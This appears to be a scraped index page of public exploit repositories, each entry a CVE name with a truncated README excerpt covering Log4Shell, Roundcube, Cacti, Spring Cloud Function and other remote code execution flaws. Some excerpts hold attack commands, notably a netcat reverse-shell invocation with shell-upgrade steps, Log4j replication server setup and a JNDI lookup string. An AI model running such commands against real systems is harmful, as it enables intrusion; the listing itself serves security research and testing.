Log4j-Rec-CVE-2021-44228

Log4j2 Replication Notes, For Learning Only Reference: https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce Create Executable File com/example/template javac Log4jRCE.java Start Python Built-in HTTP Server com/example/template python -m http.server 8888 Start LDAP Server tools java -c...

CVE-2020-9496

CVE-2020-9496 - RCE Because the 2 xmlrpc related requets in webtools xmlrpc and ping are not using authentication they are vulnerable to unsafe deserialization. This issue was reported to the security team by Alvaro Munoz [email protected] from the GitHub Security Lab team. This vulnerabilit...

CVE-2025-49113-Roundcube_1.6.10

CVE-2025-49113 – Roundcube 1.6.10 Authenticated Remote Code Execution ⚠️ Disclaimer This repository is intended strictly for educational and research purposes. All demonstrations were performed in a controlled lab environment. Unauthorized testing or exploitation of systems without explicit...

CVE-2020-10199

CVE-2020-10199 Previously, during a penetration test, I encountered a target environment that had Nexus Repository Manager deployed. After stepping on some pitfalls, I finally managed to get a shell. I'll make a brief record here so it's easier to review later if needed. Target version: Sonatype...

CVE-2020-17533

Recently, a remote code execution vulnerability was discovered in Apache Struts2 CVE ID: CVE-2020-17530. The Apache Struts2 framework is a web framework for developing Java EE web applications. It is widely used, thus the threat impact scope is large. 2. Vulnerability Description If developers...

CVE-2025-5961

🚨 Migration, Backup, Staging – WPvivid Backup & Migration 📈 This vulnerability affects a plugin with over700,000+ installs 📝 CVE Details CVE: CVE-2025-5961 CVSS: 7.2 High Published: July 3, 2025 🔍 Description The Migration, Backup, Staging – WPvivid Backup & Migration plugin for WordPress is...

CVE-2025-24893

Reverse shell for CVE-2025-24893 python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" upgrade the shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

CVE-2021-41773-Apache-RCE

CVE-2021-41773-Apache-RCE A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected b...

PHP2SHELL-POC

██████╗ ██╗ ██╗██████╗ ██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗ ██╔══██╗ ██║ ██║██╔══██╗╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║ ██████╔╝ ███████║██████╔╝ █████╔╝███████╗███████║█████╗ ██║ ██║ ██╔═══╝ ██╔══██║██╔═══╝ ██╔═══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║ ██║ ██║ ██║██║ ███████╗███████║██║...

CVE-2025-25706

CVE-2025-25706 Description Item: Product Vendor: freebsdbrasil Item: ProApps - Enterprise Appliance Editor Creator: DreamWeaver PHP: PHP Version 7.3.18 Java Script Library: Jquery UI 1.6 | Jquery 1.2.6 Server: NGINX Operational System: FreeBDS Unix Vulnerability Type: Remote Code Execution...

CVE-2022-27925-PoC

CVE-2022-27925-PoC Zimbra RCE simple poc...

Exploit for Improperly Controlled Sequential Memory Allocation in Php

ArchonX-PHP2Shell ArchonXDeadLockSecurity Pre-auth rem...

CVE-2022-46169_unauth_remote_code_execution

CVE-2022-46169 - Unauthenticated Remote Code Execution Cacti Unauthenticated Remote Code Execution through authentication bypass and command injection in Cacti 1.2.23 and 1.3.0 DISCLAIMER: This script is made to audit the security of systems. Only use this script on your own systems or on systems...

CVE-2026-103039

The Gravity Forms plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.1.2 via a Post Custom Field whose input type is List. This is due to GFFormsModel::createpost passing the submitted value to WordPress' unrestricted global maybeunserialize rather...

log4j2-issue-check

Evaluate the Log4Shell: RCE 0-day Issue This repo contains the code to evaluate Log4j2 issue CVE-2021-44228 More details https://www.lunasec.io/docs/blog/log4j-zero-day/ How to Test Send GET request with query parameter as $jndi:ldap://127.0.0.1:3089/...

SNMPocalypse-Cisco-Bug-Lets-Hackers-Crash-or-Command-Devices

SNMPocalypse-Cisco-Bug-Lets-Hackers-Crash-or-Command-Devices CVE-2023-20352 is a critical stack overflow flaw in Cisco IOS/IOS XE's SNMP engine. With just crafted SNMP packets, remote attackers can crash systems or seize root control. All SNMP versions are vulnerable patch now or risk total...

CVE-2025-32433

CVE-2025-32433 – Erlang/OTP SSH RCE Vulnerability 📌 Summary CVE-2025-32433 is a remote code execution RCE vulnerability affecting the Erlang/OTP SSH daemon. The root cause is improper handling of pre-authentication SSH channel requests which can be crafted by an attacker to cause arbitrary comman...

CVE-2022-22963

CVE-2022-22963-Reverse-Shell-Exploit This is a Python script that exploits CVE-2022-22963, a remote code execution vulnerability in Spring Cloud Function that allows attackers to execute arbitrary code on a vulnerable server. The exploit uses the vulnerable /functionRouter endpoint to execute a...

CVE-2015-1578-PoC

CVE-2015-1578-PoC Overview This is a proof-of-concept exploit for CVE-2015-1578 , a buffer overflow vulnerability in Achat 0.150 beta7 on Windows. Exploitation leads to remote code execution via a crafted UDP packet. Purpose This PoC is intended to serve as a clean, minimal, and well-structured...

EUVD-2026-113740

The Gravity Forms plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.1.2 via a Post Custom Field whose input type is List. This is due to GFFormsModel::createpost passing the submitted value to WordPress' unrestricted global maybeunserialize rather...